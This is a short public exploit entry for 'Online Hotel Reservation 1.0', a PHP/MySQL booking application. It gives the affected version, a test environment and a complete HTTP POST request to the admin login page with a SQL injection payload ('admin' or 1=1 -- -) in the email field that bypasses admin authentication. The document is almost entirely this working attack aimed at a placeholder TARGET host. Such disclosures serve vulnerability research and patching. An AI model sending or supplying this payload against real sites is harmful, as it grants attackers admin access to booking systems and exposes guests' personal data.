# Exploit Title: Online Hotel Reservation 1.0 - Admin Authentication Bypass # Exploit Author: Richard Jones # Note: Shout out to boku (Bobby Cooke) for helping me get started on 0day's!! # Date: 2021-01-13 # Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html # Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34 #Exploit URL: http://TARGET/marimar/admin/index.php Host: TARGET POST /marimar/admin/login.php HTTP/1.1 Content-Length: 57 Connection: close Cookie: PHPSESSID=82sevuai2qhh9h8b5jbucn0616 email=admin%27+or+1%3D1+--+-ac1d&pass=asdasdasd&btnlogin=
